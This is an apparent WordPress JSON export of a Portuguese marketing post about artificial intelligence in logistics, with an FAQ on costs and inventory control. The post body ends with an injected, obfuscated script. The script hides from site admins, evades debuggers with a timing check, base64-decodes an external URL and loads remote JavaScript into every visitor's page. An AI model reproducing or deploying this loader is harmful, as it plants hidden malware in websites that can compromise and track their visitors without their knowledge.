intelig\u00eancia artificial \u00e9 uma tecnologia que contribui com diversos benef\u00edcios para a log\u00edstica, tornando os processos log\u00edsticos mais assertivos e aumentando a lucratividade. Por uma quest\u00e3o de competitividade das empresas, essa implementa\u00e7\u00e3o est\u00e1 sendo um pr\u00e9-requisito para se manter no mercado. Ent\u00e3o, quando for selecionar parceiros, \u00e9 importante escolher os que investem em tecnologia e processos inteligentes.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Para o futuro h\u00e1 promessas de entregas em drones e transportes automatizados, entretanto, no cen\u00e1rio atual outras alternativas s\u00e3o mais vi\u00e1veis financeiramente, como o investimento em ferramentas IA no processo log\u00edstico da pr\u00f3pria empresa ou terceirizando a log\u00edstica a estruturas como Dark Stores.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Se voc\u00ea tem interesse nesta solu\u00e7\u00e3o log\u00edstica, entre em contato conosco para entender melhor sobre as nossas solu\u00e7\u00f5es. <\/span><\/p>\n[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;full_width_background&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;padding-2-percent&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; centered_text=&#8221;true&#8221; background_color=&#8221;rgba(214,224,213,0.37)&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; background_image=&#8221;2707&#8243; background_image_position=&#8221;center bottom&#8221; background_image_loading=&#8221;default&#8221; column_shadow=&#8221;small_depth&#8221; column_border_radius=&#8221;10px&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; advanced_gradient_angle=&#8221;0&#8243; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; gradient_type=&#8221;default&#8221;][vc_row_inner content_placement=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; text_align=&#8221;left&#8221; row_position=&#8221;default&#8221; row_position_tablet=&#8221;inherit&#8221; row_position_phone=&#8221;inherit&#8221; overflow=&#8221;visible&#8221; pointer_events=&#8221;all&#8221;][vc_column_inner column_padding=&#8221;padding-2-percent&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;bottom&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; font_color=&#8221;#002626&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; advanced_gradient_angle=&#8221;0&#8243; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; gradient_type=&#8221;default&#8221;][divider line_type=&#8221;No Line&#8221; custom_height=&#8221;5&#8243;][vc_column_text]\n<h4 align=\"center\"><strong>Converse com um consultor da Grin Store<\/strong><\/h4>\n[\/vc_column_text][divider line_type=&#8221;No Line&#8221; custom_height=&#8221;2vh&#8221;][nectar_btn size=&#8221;medium&#8221; open_new_tab=&#8221;true&#8221; button_style=&#8221;regular&#8221; button_color_2=&#8221;Accent-Color&#8221; color_override=&#8221;#4f953b&#8221; solid_text_color_override=&#8221;#ffffff&#8221; icon_family=&#8221;none&#8221; text=&#8221;Entre em contato!&#8221; margin_top=&#8221;3%&#8221; margin_bottom=&#8221;3%&#8221; margin_left=&#8221;10%&#8221; margin_right=&#8221;10%&#8221; url=&#8221;https:\/\/www.grinstore.com.br\/contato.php&#8221;][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; 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full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;duvidas-frequentes&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\" data-darkreader-inline-color=\"\">D\u00favidas frequentes sobre intelig\u00eancia artificial na log\u00edstica:<\/span><\/h2>\n[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][toggles style=&#8221;default&#8221;][toggle color=&#8221;Default&#8221; title=&#8221;O que \u00e9 intelig\u00eancia artificial na log\u00edstica?&#8221;][vc_column_text]A intelig\u00eancia artificial (IA) \u00e9 uma tecnologia capaz de ler, armazenar e interpretar dados. Ela tamb\u00e9m consegue simular a capacidade de aprendizado e racioc\u00ednio, estando apta a executar a\u00e7\u00f5es automaticamente e tomar decis\u00f5es inteligentes baseadas em dados.[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Como a intelig\u00eancia artificial \u00e9 usada na log\u00edstica?&#8221;][vc_column_text]A intelig\u00eancia artificial na log\u00edstica \u00e9 usada para:<\/p>\n<ul>\n<li>Automatizar os processos repetitivos e burocr\u00e1ticos;<\/li>\n<li>Coletar e analisar m\u00e9tricas e resultados de indicadores de desempenho (KPIs) sobre os processos;<\/li>\n<li>Integrar sistemas;<\/li>\n<li>Garantir a gest\u00e3o inteligente e a assertividade das etapas;<\/li>\n<li>Reduzir custos;<\/li>\n<li>Agilizar processos;<\/li>\n<li>Monitorar a localiza\u00e7\u00e3o dos produtos em tempo real.<\/li>\n<\/ul>\n[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Qual a rela\u00e7\u00e3o entre a intelig\u00eancia artificial e os custos operacionais?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">Devido \u00e0 automatiza\u00e7\u00e3o possibilitada pela intelig\u00eancia artificial, as tarefas s\u00e3o realizadas em menor tempo e os processos s\u00e3o mais assertivos e eficientes. Com isso, a produtividade aumenta e os custos diminuem pela melhor gest\u00e3o de recursos, como combust\u00edvel. Logo, a margem de lucro aumenta. <\/span>[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Como a intelig\u00eancia artificial \u00e9 usada no controle de estoque?&#8221;][vc_column_text]A intelig\u00eancia artificial atua no controle de estoque de 3 formas:<\/p>\n<ul>\n<li>Armazenamento: organiza\u00e7\u00e3o dos produtos no armaz\u00e9m;<\/li>\n<li>Invent\u00e1rio: controlando a entrada e sa\u00edda de produtos do estoque;<\/li>\n<li>Previs\u00e3o de demandas: an\u00e1lise de padr\u00f5es e cruzamento de dados para entender a demanda pelo produto em diferentes per\u00edodos visando garantir n\u00edveis adequados de produtos em estoque.<\/li>\n<\/ul>\n[\/vc_column_text][\/toggle][\/toggles][\/vc_column][\/vc_row]<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243;&#8230;<\/p>\n","protected":false},"author":19,"featured_media":39102,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"Intelig\u00eancia artificial na log\u00edstica: o que \u00e9 e como funciona?","_seopress_titles_desc":"Entenda o que \u00e9 a intelig\u00eancia artificial na log\u00edstica, como funciona, quais s\u00e3o as vantagens e como impacta nos custos, no controle de estoque e muito mais. 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